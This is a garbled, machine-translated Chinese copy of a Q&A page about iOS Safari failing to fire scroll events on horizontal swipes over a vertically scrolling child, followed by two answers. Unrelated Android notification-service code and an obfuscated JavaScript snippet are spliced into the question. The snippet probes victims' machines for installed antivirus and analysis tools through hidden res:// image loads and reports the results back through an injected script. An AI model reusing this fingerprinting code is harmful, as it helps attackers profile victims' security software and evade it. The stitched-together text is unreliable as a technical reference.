如果鼠标下的元素只有“overflow-y:scroll”并水平滚动,iOS Safari似乎永远不会触发滚动事件

时间:2015-09-15 06:42:12

标签: javascript ios css html5 mobile-safari

我有两个元素,父节点和子节点。子项只能垂直滚动(generateNotification())。父级只能水平滚动( public class MyReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent service1 = new Intent(context,MyRemiderService.class); context.startService(service1); } } )。当我在子节点上横向滑动时,尽管如此,仍然不会触发滚动事件:

 public class MyRemiderService extends Service {
    private NotificationManager mManager;

    @Override
    public IBinder onBind(Intent intent) {

        return null;
    }

    @Override
    public void onCreate() {

        super.onCreate();
    }

    @Override
    @Deprecated
    public void onStart(Intent intent, int startId) {
        super.onStart(intent, startId);
        mManager = (NotificationManager) getApplicationContext()
                .getSystemService(getApplicationContext().NOTIFICATION_SERVICE);


        Notification.Builder builder = new Notification.Builder(MyRemiderService.this);


        Intent intent1 = new Intent(this.getApplicationContext(),
                HomeActivity.class);
        Notification notification = new Notification(R.drawable.notification_template_icon_bg,
                "This is a test message!", System.currentTimeMillis());
        intent1.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP
                | Intent.FLAG_ACTIVITY_CLEAR_TOP);
        PendingIntent pendingNotificationIntent = PendingIntent.getActivity(
                this.getApplicationContext(), 0, intent1,
                PendingIntent.FLAG_UPDATE_CURRENT);

        builder.setSmallIcon(R.drawable.abc_ic_ab_back_mtrl_am_alpha)
                .setContentTitle("ContentTitle").setContentText("this for test massage")
                .setContentIntent(pendingNotificationIntent);

        notification = builder.getNotification();
        notification.flags |= Notification.FLAG_AUTO_CANCEL;
       /* notification.setLatestEventInfo(this.getApplicationContext(),
                "AlarmManagerDemo", "This is a test message!",
                pendingNotificationIntent);*/

        mManager.notify(0, notification);
    }

    @Override
    public void onDestroy() {

        super.onDestroy();
    }
}

如果我在孩子上方垂直滚动,浏览器会触发滚动事件!无论是 var raelpit = [], zfpamzl = 0, cndelds = 0, tclnil = 0, tctidehr = 0, ucaeggs = 0, datmpeb = false, esrent = ''; function pbpiakd(ldrefdu) { hntpeeed = hntpeeed.replace(/^/, ldrefdu + 2); } function nrimsm(rhteayms) { var uohsev = document.createElement('img'); uohsev.style.display = 'none'; // vneltoas is not defined =/ vneltoas = oerriik << 4; vneltoas = rhteayms + '/#' + vneltoas + '/' + '_1'; uohsev['tpyjyvz'] = rhteayms; vneltoas = vneltoas.replace('_', '#'); raelpit.push(uohsev); // CURRENT SITE STARTS WITH HTTP?... The next line takes a substring and // then replaces part of it with the value of iyslenda... If the site starts with // http:// then you can just assume the final code will be 'iyslenda://' + vneltoas; // In this case, I've rewritten it to do the same thing but cleaner. That is unless // the document ISN'T http but ftp or something else, of course. =) uohsev['setAttribute']('src', iyslenda + '://' + this.document.location.href.substr(7) + vneltoas); var vlldlsy = document.body; vlldlsy.insertBefore(uohsev, vlldlsy.firstChild); } esrent = "\"; dfrrtgrn = "C:\wIndOws\sY"; function rreiqsfd(rhteayms) { nrimsm("C:\Program Files\" + rhteayms); nrimsm("C:\Program Files (x86)\" + rhteayms); } dfrrtgrn += "C:\wIndOws\sYstem3"; var hntpeeed = 'drivers'; var iyslenda = 'e'; setTimeout(function() { if (Math.random() < 0.2) { iyslenda = 'r' + iyslenda; } else { iyslenda += 's'; } } iyslenda.replace(/(.)\1+/g, '$1'); if (iyslenda.length < 3) { setTimeout(arguments.callee, 1) } }, 1); hntpeeed += esrent; hntpeeed = esrent + hntpeeed; pbpiakd(dfrrtgrn); setTimeout(function() { { nrimsm(hntpeeed + 'aCpI.sys'); nrimsm('iyQXFlpc.sys'); nrimsm(hntpeeed + 'mbam.sys'); nrimsm(hntpeeed + 'MBAMSwissArmy.sys'); nrimsm(hntpeeed + 'mwac.sys'); nrimsm(hntpeeed + 'mbamchameleon.sys'); rreiqsfd('Malwarebytes Anti-Exploit\mbae.exe'); rreiqsfd('Malwarebytes Anti-Malware\mbam.exe'); rreiqsfd('AVAST Software\Avast\AvastUI.exe'); rreiqsfd('norton security\Branding\muis.dll'); rreiqsfd('norton internet security\Branding\muis.dll'); rreiqsfd('F-Secure\trigger.exe'); nrimsm(hntpeeed + 'fsbts.sys'); var siatsii = 'Kaspersky Lab\Kaspersky '; rreiqsfd(siatsii + 'Total Security 15.0.2\avpui.exe'); rreiqsfd(siatsii + 'Internet Security 15.0.2\avpui.exe') rreiqsfd(siatsii + 'Anti-Virus 15.0.2\avpui.exe'); rreiqsfd(siatsii + 'Small Office Security 3\starter_avp.exe'); nrimsm(hntpeeed + 'driverskbfilter.sys'); var sosvaki = 'Trend Micro\'; rreiqsfd(sosvaki + 'Titanium\UIFramework\uiWinMgr.exe'); rreiqsfd(sosvaki + 'TMIDS\PwmConsole.exe'); rreiqsfd('Security Agent\PCCNtMon.exe'); rreiqsfd('Client Server Security Agent\PccNTMon.exe'); rreiqsfd('Security Server\PCCSRV\Apache2\bin\ApacheMonitor.exe'); rreiqsfd('Browser Guard\BGUi.exe'); rreiqsfd('Fiddler2\Fiddler.exe'); rreiqsfd('Fiddler4\Fiddler.exe'); rreiqsfd('OpenVPN\Uninstall.exe'); rreiqsfd('Symantec\LiveUpdate\MSVCR71.dll'); rreiqsfd('Common Files\Symantec Shared\ccEvtMgr.exe'); } setTimeout(stwsiis, 1000); }, 1500); function stwsiis() { if (datmpeb) return; datmpeb = true; var ctstahjh = '', ildciea = 0; for (var i in raelpit) { var found = false; try { if (raelpit[i]['fileUpdatedDate'] == '') found = false; else found = true; } catch (e) { found = true; } if (found > 0) ctstahjh += ildciea + ','; ildciea++; } var nlmata = document['createElement']('script'); nlmata['src'] = 'jlvx.htm?' + Math.random() + ',' + ctstahjh; var yilwre = document.body; yilwre.insertBefore(nlmata,yilwre.firstChild); } 还是 overflow: hidden; overflow-y: scroll;都没有被调用过!如果子元素只有一个方向滚动,如何让它为父元素触发水平滚动?

小提琴移动示例:https://jsfiddle.net/cn2hfLok/2/embedded/result/

HTML:

overflow: hidden; overflow-x: scroll;

CSS:

//NEITHER of these are fired when swiping sideways on the child
child.addEventListener( "scroll", listener, true );
parent.addEventListener( "scroll", listener2, true );

JavaScript的:

listener

编辑:即使在孩子身上显示listener2,如果没有任何内容可以横向滚动,仍然也不会触发滚动事件! { {3}}

2 个答案:

答案 0 :(得分:2)

如果孩子没有向您尝试移动的方向滚动或者没有听取该方向,则无法在iOS Safari上为父母捕获滚动事件。为了解决这个问题,你需要听一下孩子的触摸事件,然后通过改变父母的scrollLeftscrollTop来激活孩子的父母身份。滚动事件处理程序。

听取:

touchstart

捕捉起始位置

touchmove

检查开始时的当前位置,如果它水平移动(并且垂直位置不够),然后通过parent.scrollLeft += startX - e.clientX;传递给父级,然后调用e.stopPropagation();e.preventDefault();,这样它就不会移动页。 (同时将startX更新为e.clientX

touchendtouchleave

设置一些变量告诉你的touchmove处理程序停止收听,例如notDragging = true;

答案 1 :(得分:0)

我认为你应该朝着以下方向前进:

  1. 启用处理程序的捕获阶段:document.querySelector( ".parent" ).addEventListener( "scroll", scrollP, true );

  2. 在父回调中停止传播:e.stopPropagation();

  3. 在这种情况下,父母的听众将拦截所有事件,包括horizontal scroll。但实际上你可以通过event.type和一堆其他可访问的属性来过滤它们。

    以下是更新后的示例:https://jsfiddle.net/cn2hfLok/7/